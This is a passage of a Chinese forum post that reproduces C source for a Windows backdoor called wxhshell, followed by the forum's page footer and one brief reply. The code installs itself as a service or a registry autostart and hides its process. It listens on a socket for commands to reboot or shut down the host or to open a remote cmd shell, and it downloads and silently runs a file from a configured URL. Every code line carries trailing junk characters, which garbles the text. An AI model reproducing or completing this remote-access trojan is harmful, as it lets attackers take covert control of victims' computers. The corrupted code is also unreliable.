  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *d?,i -Q.+  
  } g}P.ksM  
  else { '-S^z"ZrI  
yG2j!D  
    switch(cmd[0]) { Nt'(JAZ;  
  G8Ns?  
  // 帮助 y]+i. 8[  
  case '?': { \C~Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kd9hz-*  
    break; 3-Xum*)Y  
  } bj ZcWYT  
  // 安装 G>d@lt  
  case 'i': { [#M^:Q  
    if(Install()) bAGQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11Pm lzy  
    else ` SZ^~O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : H0+}=  
    break; 3?.3Z!H/  
    } `N]!-=o  
  // 卸载 u-f_,],p  
  case 'r': { ^CDQ75tR  
    if(Uninstall()) !#5RP5,,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~OAST  
    else tTX2>8Gmr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :,]V 03  
    break; aS-rRL|\L  
    } A8dIL5  
  // 显示 wxhshell 所在路径 R'uM7,7  
  case 'p': { Wg3y y8vIW  
    char svExeFile[MAX_PATH]; `Q' 0l},  
    strcpy(svExeFile,"\n\r"); 0 ua.aL'  
      strcat(svExeFile,ExeFile); zdlysr#  
        send(wsh,svExeFile,strlen(svExeFile),0); k8Qm +r<p  
    break; {I&>`?7.  
    } -;Y*;xe  
  // 重启 c7[|x%~  
  case 'b': { C;-9_;&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7D|g|i  
    if(Boot(REBOOT)) )k.;.7dXe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$l@Z&[]  
    else { +DY% Y `0  
    closesocket(wsh); %D)W~q-g  
    ExitThread(0); nNSq6 Cj  
    } soRt<83  
    break; _%?}e|epy  
    } '+hiCX-_  
  // 关机 Pe6MDWR  
  case 'd': { v2 T+I]I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q"h/o"-h  
    if(Boot(SHUTDOWN)) MRMsw NQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E=_M=5]  
    else { Mm;kB/ 1  
    closesocket(wsh); Jlj=FA`  
    ExitThread(0); /U4F\pZl  
    } CE=&ZHt9  
    break; EC<g7_0F  
    } +[<|TT  
  // 获取shell 7q&Ru|T33  
  case 's': { .z^ePZ|mV  
    CmdShell(wsh); zYvf}L&]h  
    closesocket(wsh); Uf}s6#   
    ExitThread(0); U3}r.9/  
    break; u]lf~EE  
  } Ghs{B8  
  // 退出 C!6?.\U/:c  
  case 'x': { P:eY>~m<;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hX# y7m  
    CloseIt(wsh); 66NJ&ac  
    break; U p=J&^.  
    } O8%+5l`T!  
  // 离开 d9^ uEz(  
  case 'q': { u 0(H!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I kv@}^p 7  
    closesocket(wsh); Uo>pV 9xRG  
    WSACleanup(); \dO9nwa?  
    exit(1); 52 ? TLID  
    break; 9lbe[w @  
        } /GCI`hx>"  
  } %JF.m$-  
  } (RW02%`jjy  
iG()"^G  
  // 提示信息 ~>2@55wElp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !C]0l  
} Cbv$O o*  
  } }pxMO? h$  
e<2?O  
  return; `O4Ysk72x9  
} 3WZdP[o!  
ZV=O oL t,  
// shell模块句柄 E%@,n9T~"  
int CmdShell(SOCKET sock) dtD)VNkBZ  
{ e"Kg/*Ji1  
STARTUPINFO si; `a2%U/U  
ZeroMemory(&si,sizeof(si)); .aTu]i3l_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E&ou(Q={  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @0H}U$l  
PROCESS_INFORMATION ProcessInfo; 1AiqB Rs  
char cmdline[]="cmd"; 8@pY:AY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3 (Bd`=9  
  return 0; lf3QMr+  
} <Yif-9  
E_ #MQ;n  
// 自身启动模式 yE1M+x./  
int StartFromService(void) AJ1(q:P  
{ s$Z zS2d  
typedef struct xXkP(^ Y  
{ VUAW/  
  DWORD ExitStatus; 8@ y@}  
  DWORD PebBaseAddress; O75^(keW  
  DWORD AffinityMask; Z3X/SQ'0  
  DWORD BasePriority; y;aZMT.YI  
  ULONG UniqueProcessId; ,kS3Ioj  
  ULONG InheritedFromUniqueProcessId; M+4>l\   
}   PROCESS_BASIC_INFORMATION; [*^` rQ  
"O@L IR7  
PROCNTQSIP NtQueryInformationProcess; o,}`4_N||  
Z&BJ/qk \-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]U?)_P@}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,tqMMBwC~_  
BSU%.tmI  
  HANDLE             hProcess; 8ExEhBX8  
  PROCESS_BASIC_INFORMATION pbi; )%H@.;cD_r  
k<xPg5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =*<Cw?Gc  
  if(NULL == hInst ) return 0; Xo^P=uf%  
7:iTx;,v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _gDEIoBp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \o}m]v i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3Ov? kWFO  
tgeX~.  
  if (!NtQueryInformationProcess) return 0; #( G>J4E,  
aLa{zB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +$_.${uwV  
  if(!hProcess) return 0; }e[;~g\&  
W\f u0^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N1dv}!/*.+  
OAx5 LTd  
  CloseHandle(hProcess); `?@7T-v  
b/^i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oZVq }}R  
if(hProcess==NULL) return 0; _OR@S%$  
l@:|OGD;8  
HMODULE hMod; 9Q)9*nHe  
char procName[255]; qkHdr2  
unsigned long cbNeeded; Y'n+,g  
j'xk [bM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F<R+]M:fa  
fSR+~Vy  
  CloseHandle(hProcess); x$p_mWC  
/4K ^-  
if(strstr(procName,"services")) return 1; // 以服务启动 BF >67 8h  
D=ZH? d  
  return 0; // 注册表启动 "}/$xOl"  
} :&59N^So|  
VAGQR&T?  
// 主模块 Lmp_8q-Ej  
int StartWxhshell(LPSTR lpCmdLine) C|or2  
{ #>[BSgW  
  SOCKET wsl; .r=F'i}-j*  
BOOL val=TRUE; _c:}i\8R  
  int port=0; e$ pXnMx7  
  struct sockaddr_in door; LHJ}I5zv  
i"4&UJu1;  
  if(wscfg.ws_autoins) Install(); @B e7"Fm  
n*yVfI  
port=atoi(lpCmdLine); SLGo/I*  
mEh([ZnY  
if(port<=0) port=wscfg.ws_port; CGYZEPRR  
hzR1O(  
  WSADATA data; /^Ckk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (j>a?dKDS  
XXwe/>J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mT:Z!sS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "~:AsZ"7  
  door.sin_family = AF_INET; o=%pR|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uC2-T5n'  
  door.sin_port = htons(port); 108cf~2&  
Ej;BI#gx=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { on0MhW  
closesocket(wsl); r0xmDJ@y  
return 1; ]; CTr0  
} C~o\Q# *j  
6 +2M$3_U  
  if(listen(wsl,2) == INVALID_SOCKET) { eG&3E`[  
closesocket(wsl); v%|S)^c?:  
return 1; q`u^ sc  
} Ja`xG{~Y7i  
  Wxhshell(wsl); #gQaNc?  
  WSACleanup(); #.KVT#%~{  
%qI.Qw$  
return 0; sfo+B$4|  
TAE@KSPvo  
} /RF=8,A  
_{k-&I  
// 以NT服务方式启动 d[( }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z yh #ygH  
{ kiP-^Wan  
DWORD   status = 0; ,SVl>~!  
  DWORD   specificError = 0xfffffff; q$ZmR]p  
&N+i3l6`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eI#b%h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zb? u'Vm=u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tjId?}\  
  serviceStatus.dwWin32ExitCode     = 0; jeu|9{iTVu  
  serviceStatus.dwServiceSpecificExitCode = 0; 8c%Sd'+Pt  
  serviceStatus.dwCheckPoint       = 0; X"sc'#G T  
  serviceStatus.dwWaitHint       = 0; B)v|A  
`<oNEr+#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CW+]Jv]"  
  if (hServiceStatusHandle==0) return; (H[ .\O-`  
K5"8zF)*  
status = GetLastError(); &;x*uG  
  if (status!=NO_ERROR) kWZ@v+Mk3  
{ ;Yr?"|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; # s}&  
    serviceStatus.dwCheckPoint       = 0; 2d60o~ E  
    serviceStatus.dwWaitHint       = 0; mD"[z}r)  
    serviceStatus.dwWin32ExitCode     = status; gXb * zt2  
    serviceStatus.dwServiceSpecificExitCode = specificError; FdcmA22k*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ 11D7L%1t  
    return; ,qz:(Nr  
  } R5b!Ao  
L\%zNPLS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wRj||yay#-  
  serviceStatus.dwCheckPoint       = 0; Z !81\5  
  serviceStatus.dwWaitHint       = 0; bd$``(b`v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0e,U&B<W  
} t(.jJ>|+*  
<aR sogu"P  
// 处理NT服务事件,比如:启动、停止 x o{y9VS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V/dL-;W;  
{ 7.W$6U5  
switch(fdwControl) ahmxbv3f=5  
{ t`!@E#VK  
case SERVICE_CONTROL_STOP: oQ{ X2\  
  serviceStatus.dwWin32ExitCode = 0; q L-Ni  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tmgZNg  
  serviceStatus.dwCheckPoint   = 0; &`LR{7m  
  serviceStatus.dwWaitHint     = 0; ;JHR~ TV  
  { zu! #   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l2h1CtAU  
  } \&,{N_G#L.  
  return; 12 TX_0  
case SERVICE_CONTROL_PAUSE: } b/Xui9Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OTmw/#ug  
  break; Co^^rd@  
case SERVICE_CONTROL_CONTINUE: %Mxc"% w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m2x=Qv][@c  
  break; p`=v$_]?(  
case SERVICE_CONTROL_INTERROGATE: XlaGR2-%  
  break; k )=Gyv<  
}; d>1cKmH!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IA3m.Vxj ^  
} 0qSf7"3f  
% s),4  
// 标准应用程序主函数 Id<O/C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k"pN  
{ *a2-Vte  
k+% c8w 9  
// 获取操作系统版本 gnWEsA\!  
OsIsNt=GetOsVer(); G]k+0&X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6Z>G%yK  
`Re{j{~s  
  // 从命令行安装 dhCrcYn  
  if(strpbrk(lpCmdLine,"iI")) Install(); m> YjV>5  
(p!w`MSv  
  // 下载执行文件 y py  
if(wscfg.ws_downexe) { =}OcMM`f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3T)_(SM"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5STk"  
} ["~T)d'  
8}.V[,]6  
if(!OsIsNt) { (/ e[n.T  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lz:Q6  
HideProc(); iw=~j  
StartWxhshell(lpCmdLine); h~-cnAMt  
} |FP@NUX\  
else ltg\x8w?c  
  if(StartFromService()) z>A;|iL  
  // 以服务方式启动 WCL#3uYk"  
  StartServiceCtrlDispatcher(DispatchTable); &j!q9F  
else I2^@>/p8\(  
  // 普通方式启动 o! Y61S(  
  StartWxhshell(lpCmdLine); m2>$)\-;  
Mq Q'Kjo  
return 0; myqQqVW  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八